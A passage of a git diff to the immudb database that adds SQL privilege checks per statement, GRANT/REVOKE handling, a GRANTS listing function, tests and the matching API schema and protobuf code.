yyS[yypt-3 : yypt+1] { yyVAL.binExp = &NumExp{left: yyDollar[1].exp, op: ADDOP, right: yyDollar[3].exp} } - case 171: + case 185: yyDollar = yyS[yypt-3 : yypt+1] { yyVAL.binExp = &NumExp{left: yyDollar[1].exp, op: SUBSOP, right: yyDollar[3].exp} } - case 172: + case 186: yyDollar = yyS[yypt-3 : yypt+1] { yyVAL.binExp = &NumExp{left: yyDollar[1].exp, op: DIVOP, right: yyDollar[3].exp} } - case 173: + case 187: yyDollar = yyS[yypt-3 : yypt+1] { yyVAL.binExp = &NumExp{left: yyDollar[1].exp, op: MULTOP, right: yyDollar[3].exp} } - case 174: + case 188: yyDollar = yyS[yypt-3 : yypt+1] { yyVAL.binExp = &BinBoolExp{left: yyDollar[1].exp, op: yyDollar[2].logicOp, right: yyDollar[3].exp} } - case 175: + case 189: yyDollar = yyS[yypt-3 : yypt+1] { yyVAL.binExp = &CmpBoolExp{left: yyDollar[1].exp, op: yyDollar[2].cmpOp, right: yyDollar[3].exp} } - case 176: + case 190: yyDollar = yyS[yypt-3 : yypt+1] { yyVAL.binExp = &CmpBoolExp{left: yyDollar[1].exp, op: EQ, right: &NullValue{t: AnyType}} } - case 177: + case 191: yyDollar = yyS[yypt-4 : yypt+1] { yyVAL.binExp = &CmpBoolExp{left: yyDollar[1].exp, op: NE, right: &NullValue{t: AnyType}} diff --git a/embedded/sql/stmt.go b/embedded/sql/stmt.go index 0bc2f7b27c..f8fe678f4f 100644 --- a/embedded/sql/stmt.go +++ b/embedded/sql/stmt.go @@ -34,11 +34,12 @@ import ( ) const ( - catalogPrefix = "CTL." - catalogTablePrefix = "CTL.TABLE." // (key=CTL.TABLE.{1}{tableID}, value={tableNAME}) - catalogColumnPrefix = "CTL.COLUMN." // (key=CTL.COLUMN.{1}{tableID}{colID}{colTYPE}, value={(auto_incremental | nullable){maxLen}{colNAME}}) - catalogCheckPrefix = "CTL.CHECK." // (key=CTL.CHECK.{1}{tableID}{checkID}, value={nameLen}{name}{expText}) - catalogIndexPrefix = "CTL.INDEX." // (key=CTL.INDEX.{1}{tableID}{indexID}, value={unique {colID1}(ASC|DESC)...{colIDN}(ASC|DESC)}) + catalogPrefix = "CTL." + catalogTablePrefix = "CTL.TABLE." // (key=CTL.TABLE.{1}{tableID}, value={tableNAME}) + catalogColumnPrefix = "CTL.COLUMN." // (key=CTL.COLUMN.{1}{tableID}{colID}{colTYPE}, value={(auto_incremental | nullable){maxLen}{colNAME}}) + catalogIndexPrefix = "CTL.INDEX." // (key=CTL.INDEX.{1}{tableID}{indexID}, value={unique {colID1}(ASC|DESC)...{colIDN}(ASC|DESC)}) + catalogCheckPrefix = "CTL.CHECK." // (key=CTL.CHECK.{1}{tableID}{checkID}, value={nameLen}{name}{expText}) + catalogPrivilegePrefix = "CTL.PRIVILEGE." // (key=CTL.COLUMN.{1}{tableID}{colID}{colTYPE}, value={(auto_incremental | nullable){maxLen}{colNAME}}) RowPrefix = "R." // (key=R.{1}{tableID}{0}({null}({pkVal}{padding}{pkValLen})?)+, value={count (colID valLen val)+}) MappedPrefix = "M." // (key=M.{tableID}{indexID}({null}({val}{padding}{valLen})?)*({pkVal}{padding}{pkValLen})+, value={count (colID valLen val)+}) @@ -93,6 +94,7 @@ const ( PermissionReadOnly Permission = "READ" PermissionReadWrite Permission = "READWRITE" PermissionAdmin Permission = "ADMIN" + PermissionSysAdmin Permission = "SYSADMIN" ) type AggregateFn = string @@ -188,10 +190,13 @@ const ( UsersFnCall string = "USERS" ColumnsFnCall string = "COLUMNS" IndexesFnCall string = "INDEXES" + GrantsFnCall string = "GRANTS" JSONTypeOfFnCall string = "JSON_TYPEOF" ) type SQLStmt interface { + readOnly() bool + requiredPrivileges() []SQLPrivilege execAt(ctx context.Context, tx *SQLTx, params map[string]interface{}) (*SQLTx, error) inferParameters(ctx context.Context, tx *SQLTx, params map[string]SQLValueType) error } @@ -199,6 +204,14 @@ type SQLStmt interface { type BeginTransactionStmt struct { } +func (stmt *BeginTransactionStmt) readOnly() bool { + return true +} + +func (stmt *BeginTransactionStmt) requiredPrivileges() []SQLPrivilege { + return nil +} + func (stmt *BeginTransactionStmt) inferParameters(ctx context.Context, tx *SQLTx, params map[string]SQLValueType) error { return nil } @@ -227,6 +240,14 @@ func (stmt *BeginTransactionStmt) execAt(ctx context.Context, tx *SQLTx, params type CommitStmt struct { } +func (stmt *CommitStmt) readOnly() bool { + return true +} + +func (stmt *CommitStmt) requiredPrivileges() []SQLPrivilege { + return nil +} + func (stmt *CommitStmt) inferParameters(ctx context.Context, tx *SQLTx, params map[string]SQLValueType) error { return nil } @@ -242,6 +263,14 @@ func (stmt *CommitStmt) execAt(ctx context.Context, tx *SQLTx, params map[string type RollbackStmt struct { } +func (stmt *RollbackStmt) readOnly() bool { + return true +} + +func (stmt *RollbackStmt) requiredPrivileges() []SQLPrivilege { + return nil +} + func (stmt *RollbackStmt) inferParameters(ctx context.Context, tx *SQLTx, params map[string]SQLValueType) error { return nil } @@ -259,6 +288,14 @@ type CreateDatabaseStmt struct { ifNotExists bool } +func (stmt *CreateDatabaseStmt) readOnly() bool { + return false +} + +func (stmt *CreateDatabaseStmt) requiredPrivileges() []SQLPrivilege { + return []SQLPrivilege{SQLPrivilegeCreate} +} + func (stmt *CreateDatabaseStmt) inferParameters(ctx context.Context, tx *SQLTx, params map[string]SQLValueType) error { return nil } @@ -283,6 +320,14 @@ func (stmt *UseDatabaseStmt) inferParameters(ctx context.Context, tx *SQLTx, par return nil } +func (stmt *UseDatabaseStmt) readOnly() bool { + return true +} + +func (stmt *UseDatabaseStmt) requiredPrivileges() []SQLPrivilege { + return nil +} + func (stmt *UseDatabaseStmt) execAt(ctx context.Context, tx *SQLTx, params map[string]interface{}) (*SQLTx, error) { if tx.IsExplicitCloseRequired() { return nil, fmt.Errorf("%w: database selection can NOT be executed within a transaction block", ErrNonTransactionalStmt) @@ -299,6 +344,14 @@ type UseSnapshotStmt struct { period period } +func (stmt *UseSnapshotStmt) readOnly() bool { + return true +} + +func (stmt *UseSnapshotStmt) requiredPrivileges() []SQLPrivilege { + return nil +} + func (stmt *UseSnapshotStmt) inferParameters(ctx context.Context, tx *SQLTx, params map[string]SQLValueType) error { return nil } @@ -317,6 +370,14 @@ func (stmt *CreateUserStmt) inferParameters(ctx context.Context, tx *SQLTx, para return nil } +func (stmt *CreateUserStmt) readOnly() bool { + return false +} + +func (stmt *CreateUserStmt) requiredPrivileges() []SQLPrivilege { + return []SQLPrivilege{SQLPrivilegeCreate} +} + func (stmt *CreateUserStmt) execAt(ctx context.Context, tx *SQLTx, params map[string]interface{}) (*SQLTx, error) { if tx.IsExplicitCloseRequired() { return nil, fmt.Errorf("%w: user creation can not be done within a transaction", ErrNonTransactionalStmt) @@ -335,6 +396,14 @@ type AlterUserStmt struct { permission Permission } +func (stmt *AlterUserStmt) readOnly() bool { + return false +} + +func (stmt *AlterUserStmt) requiredPrivileges() []SQLPrivilege { + return []SQLPrivilege{SQLPrivilegeAlter} +} + func (stmt *AlterUserStmt) inferParameters(ctx context.Context, tx *SQLTx, params map[string]SQLValueType) error { return nil } @@ -355,6 +424,14 @@ type DropUserStmt struct { username string } +func (stmt *DropUserStmt) readOnly() bool { + return false +} + +func (stmt *DropUserStmt) requiredPrivileges() []SQLPrivilege { + return []SQLPrivilege{SQLPrivilegeDrop} +} + func (stmt *DropUserStmt) inferParameters(ctx context.Context, tx *SQLTx, params map[string]SQLValueType) error { return nil } @@ -383,6 +460,14 @@ func NewCreateTableStmt(table string, ifNotExists bool, colsSpec []*ColSpec, pkC return &CreateTableStmt{table: table, ifNotExists: ifNotExists, colsSpec: colsSpec, pkColNames: pkColNames} } +func (stmt *CreateTableStmt) readOnly() bool { + return false +} + +func (stmt *CreateTableStmt) requiredPrivileges() []SQLPrivilege { + return []SQLPrivilege{SQLPrivilegeCreate} +} + func (stmt *CreateTableStmt) inferParameters(ctx context.Context, tx *SQLTx, params map[string]SQLValueType) error { return nil } @@ -563,6 +648,14 @@ func NewCreateIndexStmt(table string, cols []string, isUnique bool) *CreateIndex return &CreateIndexStmt{unique: isUnique, table: table, cols: cols} } +func (stmt *CreateIndexStmt) readOnly() bool { + return false +} + +func (stmt *CreateIndexStmt) requiredPrivileges() []SQLPrivilege { + return []SQLPrivilege{SQLPrivilegeCreate} +} + func (stmt *CreateIndexStmt) inferParameters(ctx context.Context, tx *SQLTx, params map[string]SQLValueType) error { return nil } @@ -665,6 +758,14 @@ func NewAddColumnStmt(table string, colSpec *ColSpec) *AddColumnStmt { return &AddColumnStmt{table: table, colSpec: colSpec} } +func (stmt *AddColumnStmt) readOnly() bool { + return false +} + +func (stmt *AddColumnStmt) requiredPrivileges() []SQLPrivilege { + return []SQLPrivilege{SQLPrivilegeAlter} +} + func (stmt *AddColumnStmt) inferParameters(ctx context.Context, tx *SQLTx, params map[string]SQLValueType) error { return nil } @@ -695,6 +796,14 @@ type RenameTableStmt struct { newName string } +func (stmt *RenameTableStmt) readOnly() bool { + return false +} + +func (stmt *RenameTableStmt) requiredPrivileges() []SQLPrivilege { + return []SQLPrivilege{SQLPrivilegeAlter} +} + func (stmt *RenameTableStmt) inferParameters(ctx context.Context, tx *SQLTx, params map[string]SQLValueType) error { return nil } @@ -732,6 +841,14 @@ func NewRenameColumnStmt(table, oldName, newName string) *RenameColumnStmt { return &RenameColumnStmt{table: table, oldName: oldName, newName: newName} } +func (stmt *RenameColumnStmt) readOnly() bool { + return false +} + +func (stmt *RenameColumnStmt) requiredPrivileges() []SQLPrivilege { + return []SQLPrivilege{SQLPrivilegeAlter} +} + func (stmt *RenameColumnStmt) inferParameters(ctx context.Context, tx *SQLTx, params map[string]SQLValueType) error { return nil } @@ -766,6 +883,14 @@ func NewDropColumnStmt(table, colName string) *DropColumnStmt { return &DropColumnStmt{table: table, colName: colName} } +func (stmt *DropColumnStmt) readOnly() bool { + return false +} + +func (stmt *DropColumnStmt) requiredPrivileges() []SQLPrivilege { + return []SQLPrivilege{SQLPrivilegeDrop} +} + func (stmt *DropColumnStmt) inferParameters(ctx context.Context, tx *SQLTx, params map[string]SQLValueType) error { return nil } @@ -841,6 +966,14 @@ type DropConstraintStmt struct { constraintName string } +func (stmt *DropConstraintStmt) readOnly() bool { + return false +} + +func (stmt *DropConstraintStmt) requiredPrivileges() []SQLPrivilege { + return []SQLPrivilege{SQLPrivilegeDrop} +} + func (stmt *DropConstraintStmt) execAt(ctx context.Context, tx *SQLTx, params map[string]interface{}) (*SQLTx, error) { table, err := tx.catalog.GetTableByName(stmt.table) if err != nil { @@ -882,6 +1015,17 @@ type UpsertIntoStmt struct { onConflict *OnConflictDo } +func (stmt *UpsertIntoStmt) readOnly() bool { + return false +} + +func (stmt *UpsertIntoStmt) requiredPrivileges() []SQLPrivilege { + if stmt.isInsert { + return []SQLPrivilege{SQLPrivilegeInsert} + } + return []SQLPrivilege{SQLPrivilegeInsert, SQLPrivilegeUpdate} +} + func NewUpserIntoStmt(table string, cols []string, rows []*RowSpec, isInsert bool, onConflict *OnConflictDo) *UpsertIntoStmt { return &UpsertIntoStmt{ isInsert: isInsert, @@ -1414,6 +1558,14 @@ type colUpdate struct { val ValueExp } +func (stmt *UpdateStmt) readOnly() bool { + return false +} + +func (stmt *UpdateStmt) requiredPrivileges() []SQLPrivilege { + return []SQLPrivilege{SQLPrivilegeUpdate} +} + func (stmt *UpdateStmt) inferParameters(ctx context.Context, tx *SQLTx, params map[string]SQLValueType) error { selectStmt := &SelectStmt{ ds: stmt.tableRef, @@ -1591,6 +1743,14 @@ func NewDeleteFromStmt(table string, where ValueExp, orderBy []*OrdCol, limit Va } } +func (stmt *DeleteFromStmt) readOnly() bool { + return false +} + +func (stmt *DeleteFromStmt) requiredPrivileges() []SQLPrivilege { + return []SQLPrivilege{SQLPrivilegeDelete} +} + func (stmt *DeleteFromStmt) inferParameters(ctx context.Context, tx *SQLTx, params map[string]SQLValueType) error { selectStmt := &SelectStmt{ ds: stmt.tableRef, @@ -2778,6 +2938,14 @@ func NewSelectStmt( } } +func (stmt *SelectStmt) readOnly() bool { + return true +} + +func (stmt *SelectStmt) requiredPrivileges() []SQLPrivilege { + return []SQLPrivilege{SQLPrivilegeSelect} +} + func (stmt *SelectStmt) inferParameters(ctx context.Context, tx *SQLTx, params map[string]SQLValueType) error { _, err := stmt.execAt(ctx, tx, nil) if err != nil { @@ -3165,6 +3333,14 @@ type UnionStmt struct { left, right DataSource } +func (stmt *UnionStmt) readOnly() bool { + return true +} + +func (stmt *UnionStmt) requiredPrivileges() []SQLPrivilege { + return []SQLPrivilege{SQLPrivilegeSelect} +} + func (stmt *UnionStmt) inferParameters(ctx context.Context, tx *SQLTx, params map[string]SQLValueType) error { err := stmt.left.inferParameters(ctx, tx, params) if err != nil { @@ -3251,6 +3427,14 @@ type tableRef struct { as string } +func (ref *tableRef) readOnly() bool { + return true +} + +func (ref *tableRef) requiredPrivileges() []SQLPrivilege { + return []SQLPrivilege{SQLPrivilegeSelect} +} + type period struct { start *openPeriod end *openPeriod @@ -4578,6 +4762,14 @@ type FnDataSourceStmt struct { as string } +func (stmt *FnDataSourceStmt) readOnly() bool { + return true +} + +func (stmt *FnDataSourceStmt) requiredPrivileges() []SQLPrivilege { + return nil +} + func (stmt *FnDataSourceStmt) execAt(ctx context.Context, tx *SQLTx, params map[string]interface{}) (*SQLTx, error) { return tx, nil } @@ -4616,6 +4808,8 @@ func (stmt *FnDataSourceStmt) Alias() string { { return "indexes" } + case GrantsFnCall: + return "grants" } // not reachable @@ -4652,6 +4846,10 @@ func (stmt *FnDataSourceStmt) Resolve(ctx context.Context, tx *SQLTx, params map { return stmt.resolveListIndexes(ctx, tx, params, scanSpecs) } + case GrantsFnCall: + { + return stmt.resolveListGrants(ctx, tx, params, scanSpecs) + } } return nil, fmt.Errorf("%w (%s)", ErrFunctionDoesNotExist, stmt.fnCall.fn) @@ -4793,14 +4991,15 @@ func (stmt *FnDataSourceStmt) resolveListUsers(ctx context.Context, tx *SQLTx, p return nil, fmt.Errorf("%w: function '%s' expect no parameters but %d were provided", ErrIllegalArguments, UsersFnCall, len(stmt.fnCall.params)) } - cols := make([]ColDescriptor, 2) - cols[0] = ColDescriptor{ - Column: "name", - Type: VarcharType, - } - cols[1] = ColDescriptor{ - Column: "permission", - Type: VarcharType, + cols := []ColDescriptor{ + { + Column: "name", + Type: VarcharType, + }, + { + Column: "permission", + Type: VarcharType, + }, } var users []User @@ -4817,26 +5016,7 @@ func (stmt *FnDataSourceStmt) resolveListUsers(ctx context.Context, tx *SQLTx, p values := make([][]ValueExp, len(users)) for i, user := range users { - var perm string - - switch user.Permission() { - case 1: - { - perm = "READ" - } - case 2: - { - perm = "READ/WRITE" - } - case 254: - { - perm = "ADMIN" - } - default: - { - perm = "SYSADMIN" - } - } + perm := user.Permission() values[i] = []ValueExp{ &Varchar{val: user.Username()}, @@ -4999,6 +5179,68 @@ func (stmt *FnDataSourceStmt) resolveListIndexes(ctx context.Context, tx *SQLTx, return newValuesRowReader(tx, params, cols, stmt.Alias(), values) } +func (stmt *FnDataSourceStmt) resolveListGrants(ctx context.Context, tx *SQLTx, params map[string]interface{}, _ *ScanSpecs) (RowReader, error) { + if len(stmt.fnCall.params) > 1 { + return nil, fmt.Errorf("%w: function '%s' expect at most one parameter of type %s", ErrIllegalArguments, GrantsFnCall, VarcharType) + } + + var username string + if len(stmt.fnCall.params) == 1 { + val, err := stmt.fnCall.params[0].substitute(params) + if err != nil { + return nil, err + } + + userVal, err := val.reduce(tx, nil, "") + if err != nil { + return nil, err + } + + if userVal.Type() != VarcharType { + return nil, fmt.Errorf("%w: expected '%s' for username but type '%s' given instead", ErrIllegalArguments, VarcharType, userVal.Type()) + } + username, _ = userVal.RawValue().(string) + } + + cols := []ColDescriptor{ + { + Column: "user", + Type: VarcharType, + }, + { + Column: "privilege", + Type: VarcharType, + }, + } + + var err error + var users []User + + if tx.engine.multidbHandler == nil { + return nil, ErrUnspecifiedMultiDBHandler + } else { + users, err = tx.engine.multidbHandler.ListUsers(ctx) + if err != nil { + return nil, err + } + } + + values := make([][]ValueExp, 0, len(users)) + + for _, user := range users { + if username == "" || user.Username() == username { + for _, p := range user.SQLPrivileges() { + values = append(values, []ValueExp{ + &Varchar{val: user.Username()}, + &Varchar{val: string(p)}, + }) + } + } + } + + return newValuesRowReader(tx, params, cols, stmt.Alias(), values) +} + // DropTableStmt represents a statement to delete a table. type DropTableStmt struct { table string @@ -5008,6 +5250,14 @@ func NewDropTableStmt(table string) *DropTableStmt { return &DropTableStmt{table: table} } +func (stmt *DropTableStmt) readOnly() bool { + return false +} + +func (stmt *DropTableStmt) requiredPrivileges() []SQLPrivilege { + return []SQLPrivilege{SQLPrivilegeDrop} +} + func (stmt *DropTableStmt) inferParameters(ctx context.Context, tx *SQLTx, params map[string]SQLValueType) error { return nil } @@ -5121,6 +5371,14 @@ func NewDropIndexStmt(table string, cols []string) *DropIndexStmt { return &DropIndexStmt{table: table, cols: cols} } +func (stmt *DropIndexStmt) readOnly() bool { + return false +} + +func (stmt *DropIndexStmt) requiredPrivileges() []SQLPrivilege { + return []SQLPrivilege{SQLPrivilegeDrop} +} + func (stmt *DropIndexStmt) inferParameters(ctx context.Context, tx *SQLTx, params map[string]SQLValueType) error { return nil } @@ -5192,3 +5450,72 @@ func (stmt *DropIndexStmt) execAt(ctx context.Context, tx *SQLTx, params map[str return tx, nil } + +type SQLPrivilege string + +const ( + SQLPrivilegeSelect SQLPrivilege = "SELECT" + SQLPrivilegeCreate SQLPrivilege = "CREATE" + SQLPrivilegeInsert SQLPrivilege = "INSERT" + SQLPrivilegeUpdate SQLPrivilege = "UPDATE" + SQLPrivilegeDelete SQLPrivilege = "DELETE" + SQLPrivilegeDrop SQLPrivilege = "DROP" + SQLPrivilegeAlter SQLPrivilege = "ALTER" +) + +var allPrivileges = []SQLPrivilege{ + SQLPrivilegeSelect, + SQLPrivilegeCreate, + SQLPrivilegeInsert, + SQLPrivilegeUpdate, + SQLPrivilegeDelete, + SQLPrivilegeDrop, + SQLPrivilegeAlter, +} + +func DefaultSQLPrivilegesForPermission(p Permission) []SQLPrivilege { + switch p { + case PermissionSysAdmin, PermissionAdmin, PermissionReadWrite: // should also contain GRANT/REVOKE + return allPrivileges + case PermissionReadOnly: + return []SQLPrivilege{SQLPrivilegeSelect} + } + return nil +} + +type AlterPrivilegesStmt struct { + database string + user string + privileges []SQLPrivilege + isGrant bool +} + +func (stmt *AlterPrivilegesStmt) readOnly() bool { + return false +} + +func (stmt *AlterPrivilegesStmt) requiredPrivileges() []SQLPrivilege { + return nil +} + +func (stmt *AlterPrivilegesStmt) execAt(ctx context.Context, tx *SQLTx, params map[string]interface{}) (*SQLTx, error) { + if tx.IsExplicitCloseRequired() { + return nil, fmt.Errorf("%w: user privileges modification can not be done within a transaction", ErrNonTransactionalStmt) + } + + if tx.engine.multidbHandler == nil { + return nil, ErrUnspecifiedMultiDBHandler + } + + var err error + if stmt.isGrant { + err = tx.engine.multidbHandler.GrantSQLPrivileges(ctx, stmt.database, stmt.user, stmt.privileges) + } else { + err = tx.engine.multidbHandler.RevokeSQLPrivileges(ctx, stmt.database, stmt.user, stmt.privileges) + } + return nil, err +} + +func (stmt *AlterPrivilegesStmt) inferParameters(ctx context.Context, tx *SQLTx, params map[string]SQLValueType) error { + return nil +} diff --git a/embedded/sql/stmt_test.go b/embedded/sql/stmt_test.go index c5def0b943..bcd81a9d20 100644 --- a/embedded/sql/stmt_test.go +++ b/embedded/sql/stmt_test.go @@ -20,6 +20,7 @@ import ( "context" "encoding/hex" "fmt" + "reflect" "testing" "time" @@ -801,6 +802,9 @@ func TestInferParameterEdgeCases(t *testing.T) { err = (&AlterUserStmt{}).inferParameters(context.Background(), nil, nil) require.Nil(t, err) + err = (&AlterPrivilegesStmt{}).inferParameters(context.Background(), nil, nil) + require.Nil(t, err) + err = (&DropUserStmt{}).inferParameters(context.Background(), nil, nil) require.Nil(t, err) @@ -1356,3 +1360,136 @@ func TestTypedValueString(t *testing.T) { jsVal := &JSON{val: map[string]interface{}{"name": "John Doe"}} require.Equal(t, jsVal.String(), `{"name":"John Doe"}`) } + +func TestRequiredPrivileges(t *testing.T) { + type test struct { + stmt SQLStmt + readOnly bool + privileges []SQLPrivilege + } + + tests := []test{ + { + stmt: &SelectStmt{}, + readOnly: true, + privileges: []SQLPrivilege{SQLPrivilegeSelect}, + }, + { + stmt: &UnionStmt{}, + readOnly: true, + privileges: []SQLPrivilege{SQLPrivilegeSelect}, + }, + { + stmt: &tableRef{}, + readOnly: true, + privileges: []SQLPrivilege{SQLPrivilegeSelect}, + }, + { + stmt: &UpsertIntoStmt{}, + readOnly: false, + privileges: []SQLPrivilege{SQLPrivilegeInsert, SQLPrivilegeUpdate}, + }, + { + stmt: &UpsertIntoStmt{isInsert: true}, + readOnly: false, + privileges: []SQLPrivilege{SQLPrivilegeInsert}, + }, + { + stmt: &DeleteFromStmt{}, + readOnly: false, + privileges: []SQLPrivilege{SQLPrivilegeDelete}, + }, + { + stmt: &CreateDatabaseStmt{}, + readOnly: false, + privileges: []SQLPrivilege{SQLPrivilegeCreate}, + }, + { + stmt: &CreateTableStmt{}, + readOnly: false, + privileges: []SQLPrivilege{SQLPrivilegeCreate}, + }, + { + stmt: &CreateIndexStmt{}, + readOnly: false, + privileges: []SQLPrivilege{SQLPrivilegeCreate}, + }, + { + stmt: &CreateIndexStmt{}, + readOnly: false, + privileges: []SQLPrivilege{SQLPrivilegeCreate}, + }, + { + stmt: &DropTableStmt{}, + readOnly: false, + privileges: []SQLPrivilege{SQLPrivilegeDrop}, + }, + { + stmt: &DropColumnStmt{}, + readOnly: false, + privileges: []SQLPrivilege{SQLPrivilegeDrop}, + }, + { + stmt: &DropIndexStmt{}, + readOnly: false, + privileges: []SQLPrivilege{SQLPrivilegeDrop}, + }, + { + stmt: &DropUserStmt{}, + readOnly: false, + privileges: []SQLPrivilege{SQLPrivilegeDrop}, + }, + { + stmt: &FnDataSourceStmt{}, + readOnly: true, + privileges: nil, + }, + { + stmt: &BeginTransactionStmt{}, + readOnly: true, + privileges: nil, + }, + { + stmt: &CommitStmt{}, + readOnly: true, + privileges: nil, + }, + { + stmt: &RollbackStmt{}, + readOnly: true, + privileges: nil, + }, + { + stmt: &UseDatabaseStmt{}, + readOnly: true, + privileges: nil, + }, + { + stmt: &UseSnapshotStmt{}, + readOnly: true, + privileges: nil, + }, + { + stmt: &AddColumnStmt{}, + readOnly: false, + privileges: []SQLPrivilege{SQLPrivilegeAlter}, + }, + { + stmt: &RenameColumnStmt{}, + readOnly: false, + privileges: []SQLPrivilege{SQLPrivilegeAlter}, + }, + { + stmt: &RenameColumnStmt{}, + readOnly: false, + privileges: []SQLPrivilege{SQLPrivilegeAlter}, + }, + } + + for _, tc := range tests { + t.Run(reflect.TypeOf(tc.stmt).String(), func(t *testing.T) { + require.Equal(t, tc.stmt.readOnly(), tc.readOnly) + require.Equal(t, tc.stmt.requiredPrivileges(), tc.privileges) + }) + } +} diff --git a/pkg/api/schema/docs.md b/pkg/api/schema/docs.md index 9c7aac99c1..7736a4cf5e 100644 --- a/pkg/api/schema/docs.md +++ b/pkg/api/schema/docs.md @@ -8,6 +8,8 @@ - [AuthConfig](#immudb.schema.AuthConfig) - [ChangePasswordRequest](#immudb.schema.ChangePasswordRequest) - [ChangePermissionRequest](#immudb.schema.ChangePermissionRequest) + - [ChangeSQLPrivilegesRequest](#immudb.schema.ChangeSQLPrivilegesRequest) + - [ChangeSQLPrivilegesResponse](#immudb.schema.ChangeSQLPrivilegesResponse) - [Chunk](#immudb.schema.Chunk) - [Chunk.MetadataEntry](#immudb.schema.Chunk.MetadataEntry) - [Column](#immudb.schema.Column) @@ -140,6 +142,7 @@ - [EntryTypeAction](#immudb.schema.EntryTypeAction) - [PermissionAction](#immudb.schema.PermissionAction) + - [SQLPrivilege](#immudb.schema.SQLPrivilege) - [TxMode](#immudb.schema.TxMode) - [ImmuService](#immudb.schema.ImmuService) @@ -221,6 +224,34 @@ DEPRECATED + + +### ChangeSQLPrivilegesRequest + + + +| Field | Type | Label | Description | +| ----- | ---- | ----- | ----------- | +| action | [PermissionAction](#immudb.schema.PermissionAction) | | Action to perform | +| username | [string](#string) | | Name of the user to update | +| database | [string](#string) | | Name of the database | +| privileges | [SQLPrivilege](#immudb.schema.SQLPrivilege) | repeated | SQL privileges to grant / revoke | + + + + + + + + +### ChangeSQLPrivilegesResponse + + + + + + + ### Chunk @@ -2072,6 +2103,7 @@ Reserved to reply with more advanced response later | createdby | [string](#string) | | Name of the creator user | | createdat | [string](#string) | | Time when the user was created | | active | [bool](#bool) | | Flag indicating whether the user is active or not | +| sqlPrivileges | [SQLPrivilege](#immudb.schema.SQLPrivilege) | repeated | List of SQL privileges | @@ -2456,6 +2488,24 @@ Reserved to reply with more advanced response later + + +### SQLPrivilege + + +| Name | Number | Description | +| ---- | ------ | ----------- | +| UNKNOWN | 0 | | +| SELECT | 1 | | +| CREATE | 2 | | +| INSERT | 3 | | +| UPDATE | 4 | | +| DELETE | 5 | | +| DROP | 6 | | +| ALTER | 7 | | + + + ### TxMode @@ -2484,6 +2534,7 @@ immudb gRPC & REST service | CreateUser | [CreateUserRequest](#immudb.schema.CreateUserRequest) | [.google.protobuf.Empty](#google.protobuf.Empty) | | | ChangePassword | [ChangePasswordRequest](#immudb.schema.ChangePasswordRequest) | [.google.protobuf.Empty](#google.protobuf.Empty) | | | ChangePermission | [ChangePermissionRequest](#immudb.schema.ChangePermissionRequest) | [.google.protobuf.Empty](#google.protobuf.Empty) | | +| ChangeSQLPrivileges | [ChangeSQLPrivilegesRequest](#immudb.schema.ChangeSQLPrivilegesRequest) | [ChangeSQLPrivilegesResponse](#immudb.schema.ChangeSQLPrivilegesResponse) | | | SetActiveUser | [SetActiveUserRequest](#immudb.schema.SetActiveUserRequest) | [.google.protobuf.Empty](#google.protobuf.Empty) | | | UpdateAuthConfig | [AuthConfig](#immudb.schema.AuthConfig) | [.google.protobuf.Empty](#google.protobuf.Empty) | | | UpdateMTLSConfig | [MTLSConfig](#immudb.schema.MTLSConfig) | [.google.protobuf.Empty](#google.protobuf.Empty) | | diff --git a/pkg/api/schema/schema.pb.go b/pkg/api/schema/schema.pb.go index 3f1c2d5fd2..bcbaf021fb 100644 --- a/pkg/api/schema/schema.pb.go +++ b/pkg/api/schema/schema.pb.go @@ -39,6 +39,70 @@ const ( _ = protoimpl.EnforceVersion(protoimpl.MaxVersion - 20) ) +type SQLPrivilege int32 + +const ( + SQLPrivilege_UNKNOWN SQLPrivilege = 0 + SQLPrivilege_SELECT SQLPrivilege = 1 + SQLPrivilege_CREATE SQLPrivilege = 2 + SQLPrivilege_INSERT SQLPrivilege = 3 + SQLPrivilege_UPDATE SQLPrivilege = 4 + SQLPrivilege_DELETE SQLPrivilege = 5 + SQLPrivilege_DROP SQLPrivilege = 6 + SQLPrivilege_ALTER SQLPrivilege = 7 +) + +// Enum value maps for SQLPrivilege. +var ( + SQLPrivilege_name = map[int32]string{ + 0: "UNKNOWN", + 1: "SELECT", + 2: "CREATE", + 3: "INSERT", + 4: "UPDATE", + 5: "DELETE", + 6: "DROP", + 7: "ALTER", + } + SQLPrivilege_value = map[string]int32{ + "UNKNOWN": 0, + "SELECT": 1, + "CREATE": 2, + "INSERT": 3, + "UPDATE": 4, + "DELETE": 5, + "DROP": 6, + "ALTER": 7, + } +) + +func (x SQLPrivilege) Enum() *SQLPrivilege { + p := new(SQLPrivilege) + *p = x + return p +} + +func (x SQLPrivilege) String() string { + return protoimpl.X.EnumStringOf(x.Descriptor(), protoreflect.EnumNumber(x)) +} + +func (SQLPrivilege) Descriptor() protoreflect.EnumDescriptor { + return file_schema_proto_enumTypes[0].Descriptor() +} + +func (SQLPrivilege) Type() protoreflect.EnumType { + return &file_schema_proto_enumTypes[0] +} + +func (x SQLPrivilege) Number() protoreflect.EnumNumber { + return protoreflect.EnumNumber(x) +} + +// Deprecated: Use SQLPrivilege.Descriptor instead. +func (SQLPrivilege) EnumDescriptor() ([]byte, []int) { + return file_schema_proto_rawDescGZIP(), []int{0} +} + type EntryTypeAction int32 const ( @@ -79,11 +143,11 @@ func (x EntryTypeAction) String() string { } func (EntryTypeAction) Descriptor() protoreflect.EnumDescriptor { - return file_schema_proto_enumTypes[0].Descriptor() + return file_schema_proto_enumTypes[1].Descriptor() } func (EntryTypeAction) Type() protoreflect.EnumType { - return &file_schema_proto_enumTypes[0] + return &file_schema_proto_enumTypes[1] } func (x EntryTypeAction) Number() protoreflect.EnumNumber { @@ -92,7 +156,7 @@ func (x EntryTypeAction) Number() protoreflect.EnumNumber { // Deprecated: Use EntryTypeAction.Descriptor instead. func (EntryTypeAction) EnumDescriptor() ([]byte, []int) { - return file_schema_proto_rawDescGZIP(), []int{0} + return file_schema_proto_rawDescGZIP(), []int{1} } type PermissionAction int32 @@ -127,11 +191,11 @@ func (x PermissionAction) String() string { } func (PermissionAction) Descriptor() protoreflect.EnumDescriptor { - return file_schema_proto_enumTypes[1].Descriptor() + return file_schema_proto_enumTypes[2].Descriptor() } func (PermissionAction) Type() protoreflect.EnumType { - return &file_schema_proto_enumTypes[1] + return &file_schema_proto_enumTypes[2] } func (x PermissionAction) Number() protoreflect.EnumNumber { @@ -140,7 +204,7 @@ func (x PermissionAction) Number() protoreflect.EnumNumber { // Deprecated: Use PermissionAction.Descriptor instead. func (PermissionAction) EnumDescriptor() ([]byte, []int) { - return file_schema_proto_rawDescGZIP(), []int{1} + return file_schema_proto_rawDescGZIP(), []int{2} } type TxMode int32 @@ -179,11 +243,11 @@ func 